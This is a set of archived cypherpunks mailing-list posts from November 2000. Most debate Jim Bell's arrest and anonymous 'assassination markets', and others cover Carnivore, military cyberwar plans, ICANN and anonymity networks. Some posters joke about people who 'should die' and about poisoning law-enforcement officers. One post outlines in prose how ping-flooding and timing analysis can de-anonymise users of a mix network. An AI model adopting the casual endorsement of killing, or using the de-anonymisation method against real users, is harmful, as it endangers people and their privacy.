President of Domino's, and then told that everything is my fault if the guy screws up, or that I have no right to criticize roaches in the pizza if I didn't exercise my right to vote. > And what about those people who have lots of money and little or no > personal ethics? Say that you have a company whos rival has a bunch of > engineers that you want. They won't work for you, so you have them done > in. (Or maybe the prosecutors in a big anti-trust trial.) People can hire hit men to do such things now. I don't see piles of dead engineers all over silicon valley. There are only two classes of people the typical person would pay money to see dead. Relatives who piss them off, and government officials who have dishonestly cost them everything they have, and are untouchable because they are operating under color of authority. People hire people to kill their shrewish wives, and to kill witnesses who have put them in prison for 150 years by lying. Disputes with employees, and displeasure over Windows needing frequent rebooting, really don't rise to this level of visceral discontent. > Just because you can do something, does not mean that you should. Unlike episodes of "Columbo," very few murders that involve any careful planning are ever solved, and then only if someone rats out the perp. AP would permit vast numbers of strangers to financially support the misfortune of a despised individual, just as small numbers of wealthy non-strangers might decide to do now. It is extremely unlikely it is going to change in the least the "who" or "why" of contract killing. I really don't think everyone is going to start murdering their bosses, their landlords, or their local prosecutor. Which is why the government's overreaction to Jim Bell's speculative essay on ways of combatting tyranny is so telling. "If it doesn't apply to you..." They keep on proving day after day that it applies to them. :) -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From ssyreeni at cc.helsinki.fi Wed Nov 22 04:26:38 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Wed, 22 Nov 2000 14:26:38 +0200 (EET) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: Message-ID: On Tue, 21 Nov 2000, Ray Dillinger wrote: >http://www.jya.com/ap.htm. It seems to me that he has a >not-very-realistic view of how laws are interpreted in >courts, and no understanding at all that governments will >make new laws or amend old ones as needed to cover new >situations. >From what I gather from the document, the Jim's presentation seems only to chart the current situation, be based on the assumption that police state tactics aren't employed (of course they are, one very real use of AP as a theory is to highlight that it is impossible to both have civil rights *and* control people by force simultaneously after sufficiently strong and error resilient anonymity has arrived) and most of all, the wording suggests that Jim, very wisely, was trying to cover his butt. Not surprisingly, and precisely as you say, the Men with Guns do not seem to care. >Even if they couldn't find a specific law to charge the >operator of an AP server with, or couldn't get a conviction >on the laws they'd charged him/her with, they would doubtless >issue a court order commanding the operators of the server >to cease and desist. Yep. That's probably one side of the whole argument: if you try to control people by force when they have strong anonymity available, they'll have very efficient means of resisting the control. Short of really dumping every civil right there is and putting up a Big Brother effort Orwell himself couldn't envision there is very little that can be done. Hence, the only way to reconsile anonymity with a fair state monopoly on violence is to minimize the state and the violence it exerts. This neatly sums up both AP and most cypherpunkish ideas on cryptoanarchy and libertarianism. Sampo Syreeni , aka decoy, student/math/Helsinki university From jya at pipeline.com Wed Nov 22 11:55:24 2000 From: jya at pipeline.com (John Young) Date: Wed, 22 Nov 2000 14:55:24 -0500 Subject: CDR: Carnivore Report Message-ID: <200011222001.PAA04318@smtp10.atl.mindspring.net> We offer an HTML version of the Carnivore technical review report released yesterday by DoJ (without appendices): http://cryptome.org/carnivore.rev.htm (164KB text, 8 images) The original PDF report is 9.4MB, 121 pages. One notable conclusion about Carnivore's shortcomings and why its code should not be released to the public: Carnivore can be countered with simple, public-domain encryption. But it can snarf everything done by a targeted Web user, e-mail, FTP, HTTP, and you name it. From alan at clueserver.org Wed Nov 22 12:11:02 2000 From: alan at clueserver.org (Alan Olsen) Date: Wed, 22 Nov 2000 15:11:02 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <3.0.6.32.20001122091513.007da7f0@pop.sprynet.com> Message-ID: On Wed, 22 Nov 2000, David Honig wrote: > At 08:31 PM 11/21/00 -0500, Ray Dillinger wrote: > > > >Even if they couldn't find a specific law to charge the > >operator of an AP server with, or couldn't get a conviction > >on the laws they'd charged him/her with, they would doubtless > >issue a court order commanding the operators of the server > >to cease and desist. > > Correct, except that you haven't grasped that it will be impossible > to trace anything to anyone. *Except* the hosting server. Legal "whack-a-mole" games will commence soon after discovery. (Or they will just yank the entries out of the root DNS servers or screw with the routing tables on the backbone.) > To see this, you need to imagine truly anonymous payment schemes > and truly anonymous information publishing. [The latter tech > exists, the former has to deal with interfacing with the US dominated > financial web, and exchanging ecredits for meatthings. Meat being > succeptible to guns & cruise missiles, of course.] The host of the site is the only one with his ass left hanging out. > Bell's observation is simply: if you have these two (cash & freedom of > speech), look at what one could build. And the social implications thereof. I disagree. I don't believe Jim really was willing to consider the social implications of his scheme. He seemed to think that the only target of this would be the government. I think that there would be a much bigger field of targets than that. Think about it. If you had the chance to have people killed without any posibility of capture, who would it be? I think that there are more people out there who would go after Bill Gates or John Tesh than there would for various little known public officials. (This could be a case where fame could have an even bigger downside. About six feet down.) One of the reasons that this country is so fucked up is that few pay attention to what their leaders actually do. You tell them about laws that are already on the books and they don't believe you. They still buy into the myth that America is the "Freest Country in the World(tm)". The people they do hate, however, are those that annoy them. In-laws, bad TV celebs, evil software moguls, etc. And what about those people who have lots of money and little or no personal ethics? Say that you have a company whos rival has a bunch of engineers that you want. They won't work for you, so you have them done in. (Or maybe the prosecutors in a big anti-trust trial.) Free and open assassination markets are a messy thing. True, some good would come out of them. A whole bunch of bad would come out of them as well. Just because you can do something, does not mean that you should. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From mix at mix2.hyperreal.pl Wed Nov 22 12:30:40 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Wed, 22 Nov 2000 15:30:40 -0500 Subject: CDR: army cyberwar mil-fbi-commercial tentacles Message-ID: U.S. Army kick-starts cyberwar machine From... by Ellen Messmer (IDG) -- The U.S. military has a new mission: Be ready to launch a cyberattack against potential adversaries, some of whom are stockpiling cyberweapons. Such an attack would likely involve launching massive distributed denial-of-service assaults, unleashing crippling computer viruses or Trojans, and jamming the enemys computer systems through electronic radio-frequency interference. An order from the National Command Authority - backed by President Clinton and Secretary of Defense William Cohen - recently instructed the military to gear up to wage cyberwar. The ability of the U.S. to conduct such warfare "doesnt exist today," according to a top Army official speaking at a conference in Arlington, Va., last week. "We see three emerging threats: ballistic missiles, cyberwarfare and space control," said Lt. Gen. Edward Anderson, deputy commander in chief at U.S. Space Command, which was recently assigned the task of creating a cyberattack strategy. "Cyberwarfare is what we might think of as attacks against digital ones and zeros." Anderson spoke about the Space Commands cyberwarfare responsibilities at the National Strategies and Capabilities for a Changing World conference. The event was organized by the Institute for Foreign Policy Analysis, Tufts Universitys Fletcher School of Law and Diplomacy and the U.S. Army. The conference attracted military top brass and international diplomats. Anderson told attendees that the U.S. Space Command, the agency in charge of satellite communications, has begun to craft a computer network attack strategy. This strategy would detail actions to be followed by the Unified Commanders in Chief (CINC) if the president and the secretary of defense order a cyber strike. The CINCs are senior commanders in the Army, Navy, Air Force and Marines deploying U.S. forces around the world. The information-warfare strategy will be detailed in a defense plan called "OPLAN 3600" that Anderson said will require "unprecedented cooperation with commercial enterprises and other organizations." Theres no set deadline for completing OPLAN 3600, Anderson told Network World. But he noted that other countries, including Russia, Israel and China, are further along in building their information-warfare capabilities. Anderson said the U.S. may end up with a new type of weaponry for launching massive distributed denial-of-service attacks and computer viruses. "The Chinese recently indicated they are already moving along with this," he added. In addition to the possibility of cybercombat between nations, the military acknowledges that terrorists without the backing of any country can potentially use cyberweapons to disrupt U.S. telecommunications or banking systems that are largely electronic. Thats one reason the U.S. Space Command is joining with the FBI to build an information-warfare strategy. "This requires a close relationship between military and law enforcement," said Michael Vatis, an FBI official who also spoke at the conference. He noted that the FBI will have to help determine if any cyberattack suffered by U.S. military or business entities calls for a military or law enforcement response. "The Internet is ubiquitous. It allows attacks from anywhere in the world. Attackers can loop in from many different Internet providers," said Vatis, who noted that a cyberattack can include espionage using computer networks. "It could start across the street but appear to be coming from China. And something that might look like a hacker attack could be the beginning of cyberwarfare," he added. Vatis said the growing bullets-and-guns conflict in the Middle East between Israel and the Palestinians, with Islamic supporters elsewhere, is being accompanied by cyberattacks from each side against the other. Its serious enough, he said, that the FBI issued an alert about it to the U.S. Space Command, giving U.S. forces warning that the action on the cyber front could affect them, too. http://www.cnn.com/2000/TECH/computing/11/22/cyberwar.machine.idg/index.html From tcmay at got.net Wed Nov 22 12:51:48 2000 From: tcmay at got.net (Tim May) Date: Wed, 22 Nov 2000 15:51:48 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: Message-ID: At 3:11 PM -0500 11/22/00, Alan Olsen wrote: >On Wed, 22 Nov 2000, David Honig wrote: > >> At 08:31 PM 11/21/00 -0500, Ray Dillinger wrote: >> > >> >Even if they couldn't find a specific law to charge the >> >operator of an AP server with, or couldn't get a conviction >> >on the laws they'd charged him/her with, they would doubtless >> >issue a court order commanding the operators of the server >> >to cease and desist. >> >> Correct, except that you haven't grasped that it will be impossible >> to trace anything to anyone. > >*Except* the hosting server. Legal "whack-a-mole" games will commence soon >after discovery. (Or they will just yank the entries out of the root DNS >servers or screw with the routing tables on the backbone.) My comments will be about _any_ controversial server (*), not just an "AP server." (* There is no need for a "server" in most cases, as we shall see.) Someone offering some prize, or some payoff, or some lottery, need not be in an identifiable, traceable location. Payoffs are based on reputation, ultimately. As we have seen in the debate about meatspace identity, having someone's true name and location is only ONE FACET of increasing belief or confidence. Put simply, some people will have more faith that they can collect from "the Controversial Practice Server" (substitute AP as desired) if they can find a DNS number and physical address for the CP Server. But this increased faith is both illusory and unneeded. Once decoupled from a DNS or address, and motivated by reputation, expectation, and other Bayesian issues, then the CP Server can itself post anonymously. This is why I architected BlackNet as I did, back in 1993. No traceability, and Usenet and other such fora would have to be shut down to block it. > > > To see this, you need to imagine truly anonymous payment schemes >> and truly anonymous information publishing. [The latter tech >> exists, the former has to deal with interfacing with the US dominated >> financial web, and exchanging ecredits for meatthings. Meat being >> succeptible to guns & cruise missiles, of course.] > >The host of the site is the only one with his ass left hanging out. There is no need to have any such site. Think Mojo. Think BlackNet. Think peer-to-peer. > >I disagree. I don't believe Jim really was willing to consider the social >implications of his scheme. > >He seemed to think that the only target of this would be the government. > >I think that there would be a much bigger field of targets than that. > >Think about it. If you had the chance to have people killed without any >posibility of capture, who would it be? I agree. I said as much at the time Jim first came to us with his "wonderful idea." (He came to our list after being referred to it, and to my work on untraceable assassinations, by Hal Finney. When Jim first arrived, circa 1994-5, IIRC, he really didn't know much if anything about untraceable digital cash. He later wove this into his basic core ideas for AP.) I fully agree that once untraceable payments may be made reliably that the targets will be picked more directly. I said this quite clearly in my "Crypto Anarchist Manifesto," published on the Net in 1988. This was fully obvious to me even earlier than this, and apparently obvious to others soon after hearing enough details of how Chaum's protocols worked. The late Phil Salin and I met with Chaum sometime around late 1988 and it was clear he understood the implications, but had chosen not to focus on these political implications. I believe our discussions with him _may_ have been some factor in his increasing movement away from 2-way untraceability and towards his later favored scheme of "Joe Sixpack" being untraceable/anonymous to Fred Merchant, but not vice versa. Of course, in a distributed ("geodesic"--RAH) system of buyers and sellers, there is no particular distinction between buyers and sellers: all are traders. And Chaum was NOT thinking clearly about why even a _seller_ might "legitimately" want untraceability: a seller of birth control information, for example. Absent "seller anonymity," such a seller could face sting operations by Saudi Arabian cops. Witness the controversy over sellers of "Nazi artifacts," pace Yahoo and France. > >Free and open assassination markets are a messy thing. True, some good >would come out of them. A whole bunch of bad would come out of them as >well. > >Just because you can do something, does not mean that you should. Indeed. And neither you nor I are likely to operate or participate in such markets. But some people already DO participate in assassination markets. Happens every day. Some are caught, some are not. Governments are active players in this market, by the way. Strong crypto will make the liquidation market...more liquid. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From bill.stewart at pobox.com Wed Nov 22 12:57:20 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 22 Nov 2000 15:57:20 -0500 Subject: CDR: Re: Missouri AG needing postnatal abortion In-Reply-To: <00112004412404.12294@reality.eng.savvis.net> References: <8a9cc138195a0fe01fa7792b23a8b385@mix2.hyperreal.pl> Message-ID: <3.0.5.32.20001120194330.009b8c20@idiom.com> At 05:43 PM 11/20/00 -0500, Jim Burnes wrote: >> "I dont really have any recourse," he said. > >Ummm, let me think. Move to a different ISP/NSP idiot! He probably needs to move to a non-US ISP, which won't feel threatened by a US state attorney general. But that's quite separate from Nixon's threat to bust *him* every time a Missourian buys and uses one of his licenses; as an American, he'd need to get quality legal advice if he wanted to stay in business. The American Automobile Association will also sell you international driver's licenses. They're quite upfront about them not being a substitute for a local driver's license from the US state you live in, and most of all US states require you to get one of their licenses if you live there longer than some continuous number of days, typically 15-60. I have seen somebody selling relatively low priced driver's licenses from Tobago or some other Caribbean island. That doesn't help you in your US home state, but if you're in some other US state with a Tobago license and a AAA international driver's license, that's generally legal and workable. Thanks! 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To Register: http://www.industrialauction.com/cgi-bin/newreg.cgi To Post Items: http://www.industrialauction.com/newitem.shtml If you have any questions please email us at: info at industrialauction.com From baptista at pccf.net Wed Nov 22 13:36:31 2000 From: baptista at pccf.net (Joe Baptista) Date: Wed, 22 Nov 2000 16:36:31 -0500 (EST) Subject: CDR: Re: ICANN should approve more domains, from Wall Street Journal In-Reply-To: <3.0.5.32.20001122102611.00b54ad0@idiom.com> Message-ID: If you don't like USG namespace - just switch http://www.youcann.org/ point click reboot .. and it's astalavista ICANN. It's as simple as that. Regards Joe On Wed, 22 Nov 2000, Bill Stewart wrote: > I was disappointed that the IETF Ad Hoc Committee wasn't able > to generate their political clout to get their earlier > 7-new-TLD plan implemented a couple years ago. > > However, one strong similarity between their plan and ICANN's > is that both first rounds of new TLDs were pretty lame, > and if this wasn't done deliberately, it should have been, > because it's a Good Thing. It's how you get a practice round > before getting to the far more controversial valuable namespaces, > like .inc, .ltd/gmbh/sa, .mp3, .sex and .microsoft. > The limitations on the number of TLDs aren't particularly technical; > if you allow an infinite number of them, you replicate all the > problems with .com under . , and don't have a level of indirection > available to fix them with. It's worth going slowly. > > The more important questions are the openness of the namespaces; > I'm glad that ICANN rejected the WHO's .health and Nader's .union, > because they allow political groups to decide who can join > based on their political correctness positions > (would WHO allow .accupuncture.health? .joes-herbal-remedies.health? > .snakeoil.health? .homeopathy.health? Nader's group wouldn't allow a > company-dominated union, and might even have trouble with the Wobblies.) > > The $50K application fee was pure exploitation of their position; > I don't think they're making any excuses for that. > The big problem is that it limits the kinds of TLDs that can > be applied for to commercial players - experimental namespace use > like .geo is valuable, and hard to get funding for. > And like taxi monopoly medallions in New York City, > once you've charged somebody big money for their chance, > it's politically difficult to charge somebody else less or nothing later. > > Bill Stewart > > > At 08:58 AM 11/20/00 -0800, Declan McCullagh wrote: > >[My op-ed, below, appeared in today's paper. An HTML-formatted copy is at: > >http://www.cluebot.com/article.pl?sid=00/11/20/1714249 --Declan] > > > > The Wall Street Journal > > Monday, November 20, 2000 > > > > ICANN Use More Web Suffixes > > By Declan McCullagh > > Op-Ed > > > ..... > > One reason is that the new suffixes approved by the Internet > > Corporation for Assigned Names and Numbers are woefully inadequate. > > Instead of picking GTLDs that would meet market demand, ICANN decided > > to approve the lackluster set of .aero, .biz, .coop, .info, .museum, > > .name, and .pro instead. (If these were proposed brand names, you can > > bet most would fail the first focus group test.) Any more additions, > > ICANN's board members indicated, would not be approved until late > > 2001. > > > > This is absurd. Technology experts occasionally wrangle over how many > > GTLDs the current setup can include, with the better estimates in the > > millions, but few doubt that the domain name system can handle tens of > > thousands of new suffixes without catastrophe. > .... > > Another problem is a predictable one: Politics. In the past, some of > > ICANN's duties had been handled by various federal agencies. Unlike > > what some regulatory enthusiasts have suggested, however, the solution > > is not encouraging the government to again become directly involved in > > this process. A wiser alternative is a complete or near-complete > > privatization of these functions. > > > Thanks! > Bill > Bill Stewart, bill.stewart at pobox.com > PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 > -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From bram at gawth.com Wed Nov 22 16:47:56 2000 From: bram at gawth.com (Bram Cohen) Date: Wed, 22 Nov 2000 16:47:56 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <8525699F.005D612E.00@lnsunr02.fl.firstdata.com> Message-ID: On Wed, 22 Nov 2000 Lynn.Wheeler at firstdata.com wrote: > the other scenerio that some certification agencies have expressed (i.e. > licensing bureaus, bbb, consumer report, etc operations) is that in the online > world ... that they would provide an online service .... rather than > certificates designed for an offline world. Yes, it seems fairly well established that revocations just plain don't work. Once again, the solution to the problems of offline operation appears to be online operation. -Bram Cohen From Nicolle at primenet.com Wed Nov 22 16:51:52 2000 From: Nicolle at primenet.com (Nicolle DiSimone) Date: Wed, 22 Nov 2000 16:51:52 -0800 Subject: CDR: Complete Guidebook and Workplace Violence Prevention Video series References: <50.ba6e255.270c3947@aol.com> Message-ID: <00b701c054e7$932aad00$bd1fd240@nicolle> Hello! Last month we e-mailed you (see forwarded item below) regarding selling your video series through our web site bookstore, at www.SullivanInternational.com. I do not believe we have received a response. Please take a look at our site and contact me if this is of interest to you. Thanks! Nicolle L. DiSimone Marketing Coordinator www.SullivanInternational.com National Institute for the Prevention of Workplace Violence ----- Original Message ----- From: To: Cc: Sent: Tuesday, October 03, 2000 11:41 PM Subject: Complete Guidebook and Workplace Violence Prevention Video series > Good Morning! > > I am Barry Nixon, Executive Director, The National Institute for the > Prevention of Workplace Violence and am creating a workplace violence > superstore on line with the intent to have a wide array of workplace violence > prevention products for sale. Your video series would be an excellent > addition to the online superstore so could you please send me information > about the steps necessary to make this happen. > > I can be contacted via email at WBNixon at AOL.com, telephone at 949-770-5264 > and fax 949-597-0977. > From commerce at home.com Wed Nov 22 14:37:30 2000 From: commerce at home.com (Me) Date: Wed, 22 Nov 2000 17:37:30 -0500 Subject: CDR: Re: Jim Bell arrested, documents online References: <5.0.0.25.0.20001121165156.0412a210@popserver.panix.com> Message-ID: <015c01c054d4$cd16b030$0100a8c0@matthew> ----- Original Message ----- From: "Duncan Frissell" > I hope James will argue that he was gathering addresses so > that he could picket them (which is legal). Hasn't Jim Bell, master chemist, keeper of paper notes, and self appointed angel of death to LEOs ever heard of a contact poison? He has fluka's top 100 in his garage, but can't find a bottle of lithium salts. The NSA should pray a soft sentence and underwrite his efforts as positive PR. From Abundant.Future at cyberpass.net Wed Nov 22 17:50:30 2000 From: Abundant.Future at cyberpass.net (Abundant.Future at cyberpass.net) Date: Wed, 22 Nov 2000 17:50:30 -0800 (PST) Subject: CDR: Special FREE membership offer Win a $100 Shopping Spree (ADV) -YHYI Message-ID: <200011230150.RAA29076@cyberpass.net> All our mailings are sent complying to the proposed United States Federal requirements for commercial e-mail: Section 301 Paragraph (a)(2)(C) of S. 618. Please see the bottom of this message for further information and removal instructions. Hi, This is a Special FREE membership offer to the unique Post-Launch Program of a leading Internet Company. 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Name: not available Type: text/html Size: 7206 bytes Desc: not available URL: From ravage at ssz.com Wed Nov 22 16:10:47 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 22 Nov 2000 18:10:47 -0600 (CST) Subject: CDR: Toshiba to add fingerprint scanner Message-ID: It's on the CNN homepage. They're using the Identix DFR-300 & 'BioLogon' in the <$200 range. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From anmetet at mixmaster.shinn.net Wed Nov 22 15:37:22 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Wed, 22 Nov 2000 18:37:22 -0500 Subject: CDR: "you need killing" Message-ID: Reading back over my collection of cypherpunk list mail from 1994, I came across this in a message from Tim May: "(I don't often dwell on [the benefits of crypto-anarchy] on this list, partly because I already have in the past, and in the "Crypto-Anarchist Manifesto" and other rants at the soda.berkeley.edu archive site, and partly because the Cypherpunks list is somewhat apolitical...apolitical in the sense that we have libertarians, anarcho-syndicalists, anarcho-capitalists, Neo-Pagans, Christian Fundamentalists, and maybe even a few unreconstructed Communists on the List, and espousing some particular set of beliefs is discouraged by common agreement.) Ah, how things have changed. From tcmay at got.net Wed Nov 22 19:24:04 2000 From: tcmay at got.net (Tim May) Date: Wed, 22 Nov 2000 19:24:04 -0800 Subject: CDR: Re: powerline In-Reply-To: References: Message-ID: At 2:16 AM +0000 11/23/00, Ahmad Saufi wrote: >hi, can u inform me about accessing internet via power line technology, >if u have any news or info about it,please send/inform it to me. >tq Allah Aqbar, Ahmad! You are to know, please inform it, that you are to use power line technology only if you are not to use battery technology. Help to be glad of you. --Tim al-May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From bill.stewart at pobox.com Wed Nov 22 19:37:26 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 22 Nov 2000 19:37:26 -0800 Subject: CDR: Re: I need your help for my project!!! In-Reply-To: <3A1819F0.42828617@sympatico.ca> Message-ID: <3.0.5.32.20001122193726.01bf4510@idiom.com> At 01:20 PM 11/19/00 -0500, Cecilia Freitas wrote: > send me what you know about the earthquake that happened on saturday in >Papau new guinea. It's not our *fault*. Trust us. Really! -- Californians Against Unwanted Seismic Activity. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From petro at bounty.org Wed Nov 22 20:03:15 2000 From: petro at bounty.org (petro) Date: Wed, 22 Nov 2000 20:03:15 -0800 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <200011222215.eAMMFEL10403@artifact.psychedelic.net> References: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Message-ID: >Oh come now. You have real recourse against Bill Gates and John Tesh Bill Gates is a questionable case, but there is no doubt that John Tesh should die. >It is extremely unlikely it is going to change in the least the "who" or >"why" of contract killing. I really don't think everyone is going to >start murdering their bosses, their landlords, or their local prosecutor. Most people just aren't vicious enough to want to *really* kill someone. Most. Case in point: There are some 80 million gun owners in this country. Some 250+ million guns. Yesterday 79,999,900+ of those gun owners killed no one. It really is only the mentally disturbed that kill for any reason other than self defense or other *huge* cause. 10 million dollars is, IMO a huge cause. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From pcmontecucchi at compuserve.com Wed Nov 22 17:08:01 2000 From: pcmontecucchi at compuserve.com (Pier Carlo Montecucchi) Date: Wed, 22 Nov 2000 20:08:01 -0500 Subject: CDR: Re: Toshiba to add fingerprint scanner References: Message-ID: <003401c054e9$d6342a70$05d3ae95@zh8qw> What does it mean that the fingerprint needs to be authenticated? Pier Carlo pcmontecucchi at compuserve.com ----- Original Message ----- From: "Jim Choate" To: Cc: "The Club Inferno" ; Sent: Wednesday, November 22, 2000 7:10 PM Subject: Toshiba to add fingerprint scanner > > > It's on the CNN homepage. > > They're using the Identix DFR-300 & 'BioLogon' in the <$200 range. > > ____________________________________________________________________ > > He is able who thinks he is able. > > Buddha > > The Armadillo Group ,::////;::-. James Choate > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > www.ssz.com .', |||| `/( e\ 512-451-7087 > -====~~mm-'`-```-mm --'- > -------------------------------------------------------------------- > > From monodemo at 21cn.com Wed Nov 22 18:26:56 2000 From: monodemo at 21cn.com (monodemo at 21cn.com) Date: Wed, 22 Nov 2000 20:26:56 -0600 Subject: CDR: Get Paid To Read Email! Message-ID: <200011230227.SAA26834@toad.com> This is awesome! Yan Jia here! I just had to tell you about SendMoreInfo.com! You get paid to read email! They send you information about things you are interested in and they pay you to check it out! Here's the link: http://www.sendmoreinfo.com/id/1751906 I know you are going to love this web site! Talk to you soon! From bill.stewart at pobox.com Wed Nov 22 23:09:18 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 22 Nov 2000 23:09:18 -0800 Subject: CDR: Re: Re: ssz.com network trouble In-Reply-To: References: <3.0.5.32.20001118170331.00b5dbe0@idiom.com> Message-ID: <3.0.5.32.20001122230918.01bf35c0@idiom.com> At 10:07 AM 11/20/00 -0600, Jim Choate wrote: > >Hi Bill, >On Sat, 18 Nov 2000, Bill Stewart wrote: >> I did a traceroute (well, mswindoze tracert, anyway), and got a >> "destination unreachable" from a machine at realtime.net in Austin. >> SSZ has often been unreliable; > >Unreliable? The context of my message was "don't panic if you haven't been able to connect to SSZ for the last few hours, it happens sometimes"; I wasn't saying "don't trust those unreliable bums" :-) >We average six and eight month uptimes. And when the outages >occur it has been either hardware failure or a service failure. >We average 2 hardware failures per year and it usualy(!) takes less than 4 >hours to have it replaced (not bad for off the shelf consumer equipment). >...We usualy get about 4 service interruptions of >some sort or another a month. They usualy last about 4 hours. I agree that's not bad for off the shelf equipment not located at a heavy-duty colocation facility, though I thought you've also had the occasional power hit take you down. ISDN isn't the kind of thing to use if you're paranoid about not having your connection flake once in a while, but it's pretty good (if the price is right) for a mostly-reliable service and is pretty good at self-recovery if you've got a service provider with multiple dialin locations. >> I think it's connected by ISDN, and it's raining down in Texas. > >Yes, we had a ISDN/Ethernet issue. Replacing the hardware with a suitable >model was harder than expected, coudn't find anyone open with stock on >Saturday. > >As to rain, 4in/hr is a tad more than a sprinkle junior. Yup. Telecom networks often get grouchy about that sort of thing, especially when they're going out to your house or small business, and I'd been guessing you were probably having that or a power problem. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From adam at cypherspace.org Wed Nov 22 20:12:19 2000 From: adam at cypherspace.org (Adam Back) Date: Wed, 22 Nov 2000 23:12:19 -0500 Subject: CDR: link padding & traffic analysis (Re: ZKS -- the path to world domination) In-Reply-To: <200011221824.NAA17476@r00t.besiex.org> (obfuscation@beta.freedom.net) Message-ID: <200011230412.XAA01088@cypherspace.org> Obfuscation writes: > Adam Back writes: > > It's as strong as we could make it. Private interactive > > communications are a hard problem. As Wei and I were discussing in > > the "PipeNet protocol" thread in the last couple of weeks, there are 4 > > main properties you're trying to optimise over: > > > > 1. security (resistance to traffic analysis) > > 2. performance > > 3. bandwidth efficiency (cost) > > 4. DoS resistance > > > > It appears pretty hard to get more than one of these properties with > > theoretical optimality. PipeNet gets the first one with good > > theoretical security, but none of the others are good. Freedom makes > > an engineering tradeoff which does reasonably on all 4. > > What about adding link padding? Can you say something about why > this doesn't help, or costs too much? So the attack you described without link padding involves the attacker either: - eavesdropping on all links into and out of the network (untargetted attack) - or eavesdropping on a targetted or suspected user - and then eavesdropping on all exit nodes - or, on selected web sites you think the user visits - or trying to work backwards from an exit node or web site to a user - by eavesdropping on entry nodes If the attacker can observe those things, he can observe the effects of network congestion because freedom is not synchronous. (Making freedom synchronous would adversely affect performance and make it much more vulnerable to DoS.) The attacker therefore already has the necessary taps to match up congestion patterns between the client to first hop link and the exit node or web site request. If congestion is too noisy or uniform to discern anything, he can go create some selective congestion by ping flooding (or inducing more plausibly deniable types of congestion) on that link. And observe the effects. He can very easily hide the source of his congestion attempts by creating it using the freedom network. The attacker can also substitute the need for extensive network taps by measuring congestion inside the freedom network to narrow down where a user is coming from. Any unpriviledged user can measure congestion in real time using the freedom protocol by creating routes over all combinations of hops, pairs of hops and triples of hops. This may allow a user to work backwards from an exit node to an entry node with only one network tap. So the main cost increase for the attacker of link padding is the complexity of the analysis. But it doesn't add many bits. It would probably be easiest to do what the Onion Routing analysis used: plot some graphs of the timing data. You would probably be able to visually see the traffic analysis patterns. Automating the analysis would be a little harder due to the noise. Next the cost of link padding. Clearly it costs. ISPs use "bandwidth aggregation" figures to estimate their bandwidth requirements based on online users. This figure means what percentage of their modem bandwidth a user uses while online (not 56 kbits on a 56kbaud modem because the user pauses between downloads etc). This figure varies and changes over time. With a bandwidth aggregation factor of 6:1 it would cost 6 times as much bandwidth. On top of that you don't want to change bandwidth utilisation in response to demand or you leak information about routes opening and closing. So you need to have some surplus padding available for users to use as they open connections. So how does one fix it if link padding alone doesn't work? As I suggested doing this efficiently and practically is an open problem. PipeNet style synchronous works, or latency padding (which comes to the same thing), but as discussed earlier these have pretty severe performance implications. So the challenge is, to find a more efficient hybrid or alternate design which retains as much as possible PipeNet or DCNet security properties, but improves performance and reduces bandwidth costs, if such networks exists. Adam > Without it, someone monitoring your system can see which ZKS node you are > talking to. If they then monitor that node they can see that whenever > you send an incoming message, there comes an outgoing message, so they > can see the next node you are talking to, and so on. > > With link padding, they couldn't do this. They'd have to interrupt > your data stream and then monitor *all* the outgoing traffic from *all* > the ZKS nodes and see which one got interrupted. This sounds like a > much more expensive attack. It is an active attack as well, while the > previous one is passive and could be done by a Carnivore system. From gbroiles at netbox.com Wed Nov 22 23:23:36 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 22 Nov 2000 23:23:36 -0800 Subject: CDR: Re: ZKS -- the path to world domination In-Reply-To: <200011220600.BAA01059@cypherspace.org>; from adam@cypherspace.org on Wed, Nov 22, 2000 at 01:00:47AM -0500 References: <20001110151045.A22615@ideath.parrhesia.com> <200011220600.BAA01059@cypherspace.org> Message-ID: <20001122232335.B28445@ideath.parrhesia.com> On Wed, Nov 22, 2000 at 01:00:47AM -0500, Adam Back wrote: > > There hasn't been as much comment (apart from Wei's comments, and some > offlist comments from Lucky) as one might expect about technology > choices and protocol design despite the open white papers. I'm hoping > the new clearer, more detailed white papers coming with 2.0 will help > stimulate such discussion. I think the traffic analysis stuff is important, but it's lower down on my list of threats. My impression is, that for the average Internet user, the most likely privacy invasions they face are: 1. Personal information given to ISP is revealed to litigant or law enforcement, based on identification of the subscriber's IP address, URL, or email address. 2. Personal information given to web-based conferencing system is revealed to litigant or law enforcement, based on the user's system ID; or enough information is released to allow violation (1). 3. Personal information given to instant messaging system is 